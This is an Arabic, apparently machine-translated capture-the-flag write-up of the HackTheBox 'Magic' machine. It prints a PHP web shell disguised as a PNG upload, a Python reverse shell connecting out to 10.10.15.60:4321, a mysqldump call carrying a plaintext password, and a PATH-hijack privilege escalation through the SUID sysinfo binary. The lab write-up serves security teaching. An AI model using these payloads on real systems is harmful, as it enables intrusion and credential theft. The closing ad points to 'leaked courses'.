هاكذا بوكس. مرور السحر. رش كلمة السر. Mysqldump و LPE عبر sysinfo



أستمر في نشر الحلول المرسلة لإنهاء الآلات من موقع HackTheBox .



في هذه المقالة ، نلقي بصدفة في صورة ، ونبحث عن بيانات الاعتماد باستخدام mysqldump ونرفع الامتيازات من خلال sysinfo.



الاتصال بالمختبر عبر VPN. يوصى بعدم الاتصال من كمبيوتر العمل أو من مضيف توجد به بيانات مهمة بالنسبة لك ، حيث تجد نفسك في شبكة خاصة مع أشخاص يعرفون شيئًا عن أمن المعلومات.



المعلومات التنظيمية
, , Telegram . , , .



. , - , .



ريكون



يحتوي هذا الجهاز على عنوان IP يبلغ 10.10.10.185 ، والذي أقوم بإضافته إلى / etc / hosts.



10.10.10.185 	magic.htb


الخطوة الأولى هي فحص المنافذ المفتوحة. نظرًا لأن مسح جميع المنافذ باستخدام nmap يستغرق وقتًا طويلاً ، فسوف أقوم بذلك أولاً باستخدام masscan. نقوم بفحص جميع منافذ TCP و UDP من واجهة tun0 بمعدل 500 حزمة في الثانية.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.185       --rate=500






الآن ، للحصول على معلومات أكثر تفصيلاً حول الخدمات التي تعمل على المنافذ ، قم بإجراء فحص باستخدام الخيار -A.



nmap -A magic.htb -p22,80






لدى المضيف منفذا مفتوحا: 22 لخدمة SSH و 80 لخادم الويب. كالعادة ، نتصفح الويب.







لاحظ الارتباط إلى صفحة تسجيل الدخول. بادئ ذي بدء ، نحاول طريقة واحدة لتجاوز التفويض والعثور على الطريقة الصحيحة.







يتم الترحيب بنا من خلال نموذج لتحميل الصور. دعنا نحاول وضع الكود في ملف php. للقيام بذلك ، خذ أول أربعة بايت من الصورة وأضف بعض الرموز إليها. في هذه الحالة ، سنحتفظ بالامتداد المزدوج. منذ التمهيد ، سيتحقق الخادم من الأخير ، وعند التنفيذ - الأول.

python -c "print('\x89\x50\x4e\x47' + '<?php echo system($_GET[\'cmd\']); ?>')" > 1.php.png






لكن تم القبض علينا.







دعنا نحاول الغش وإخفاء الكود في تعليق.







وبعد محاولة التنزيل ، تم إبلاغنا عن عملية التنزيل الناجحة.







تم تحميل الملف ، ولكن السؤال هو أين. دعنا ننتقل إلى الدلائل ، الموقع بسيط وكان لدي الكثير من الوقت ، لذلك لم أستخدم القواميس الضخمة والقواميس الضخمة. تشغيل dirb.







على الأرجح ، وجدنا الدليل حيث تم تحميل الملفات. الآن دعنا ننتقل إلى ملفنا ونمرر الأمر ls كمعامل.







وانتهى الأمر!



نقطة الدخول



دعونا نرمي الغلاف العكسي كمعامل.

http://10.10.10.185/images/uploads/me.php.jpg?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.60",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


ونحصل على اتصال خلفي على المنفذ 4321.











وفي دليل العمل نجد ملف للعمل مع قاعدة البيانات.







وفي هذا الملف نجد كلمة مرور المستخدم.







علاوة على ذلك ، هذا المستخدم موجود في النظام. حاولنا تغيير المستخدم ، لكننا فشلنا.







المستعمل



نظرًا لأن هذه هي كلمة مرور قاعدة البيانات ، فهي مرتبطة بـ mysql. لكنها لم تنجح معي مع mysql أو mysqladmin. ثم تقرر النظر في جميع البرامج المتعلقة بـ mysql.







ابتسم الحظ في mysqldump. نتصل ونجد كلمة المرور.

mysqldump -u theseus -p iamkingtheseus Magic





الآن نجحنا في تغيير المستخدم والحصول على العلم المخصص.







جذر



للراحة ، قمت بإنشاء مفاتيح SSH باستخدام ssh-keygen ، وكتبت المفتاح العام في الملف ~ / .ssh / author_keys ، وباستخدام المفتاح الخاص الذي قمت بتوصيله عبر SSH. بعد ذلك ، قم بتنزيل LinPEAS على المضيف البعيد وابدأ التشغيل. بعد القائمة الكاملة للنظام بأكمله ، نقوم بتحليل المخرجات. الشيء الوحيد الذي حصلت عليه هو الملفات التي تحتوي على مجموعة SUID (تلك التي نقوم بتشغيلها كجذر).







برنامج Sysinfo. بعد البحث عن المعلومات ، لم يتم العثور على أي شيء بخصوص تنفيذ الأمر. ثم ظهرت الفكرة ، ماذا لو استخدم sysinfo برامج أخرى يمكننا تشويه سمعتها. قمت بتشغيل sysinfo تحت ltrace.







وبالتالي ، يقوم sysinfo بتشغيل برامج lshw و fdisk و cat. الآن المزيد عن متجه LPE. يحتوي نظام التشغيل على متغير بيئة PATH يخزن المسارات.







عندما تكتب برنامج ls أو cd ، يبحث النظام بدوره عن هذه الملفات في الدلائل المحددة في المسار. وبالتالي ، إذا كتبنا أي دليل في المقام الأول في PATH ، ووضعنا برنامج ls أو cat آخر فيه ، فسيتم استدعاؤه.



لذلك سأفعل هذا مع fdisk. لن أقوم برمي غلاف عكسي ، ولكن ببساطة انسخ مفتاح SSH الخاص بنا للمستخدم الجذر من أجل الاتصال بالجذر عبر SSH بالإضافة إلى المستخدم.







دعنا نسمي fdisk على سبيل المثال. كما ترى ، تم استدعاء fdisk شرعي.







الآن دعنا نضيف مسارنا إلى متغير البيئة PATH.







سيبحث النظام الآن عن fdisk in / tmp / 123 أولاً.







لنقم بتشغيل sysinfo.







نرى خطأ في الإخراج ، لأن الجذر لا يحتوي على دليل .ssh. دعنا نغير البرنامج النصي بحيث يقوم أولاً بإنشاء الدليل ثم نسخه. بعد تنفيذ sysinfo ، لا توجد أخطاء في fdisk. نحن نتواصل عبر SSH كجذر ونلتقط العلم.







يمكنك الانضمام إلينا على Telegram . هناك يمكنك العثور على مواد مثيرة للاهتمام ودورات مسربة وبرامج. دعنا نجمع مجتمعًا ، حيث سيكون هناك أشخاص على دراية بالعديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي مشكلات تتعلق بتكنولوجيا المعلومات وأمن المعلومات.



All Articles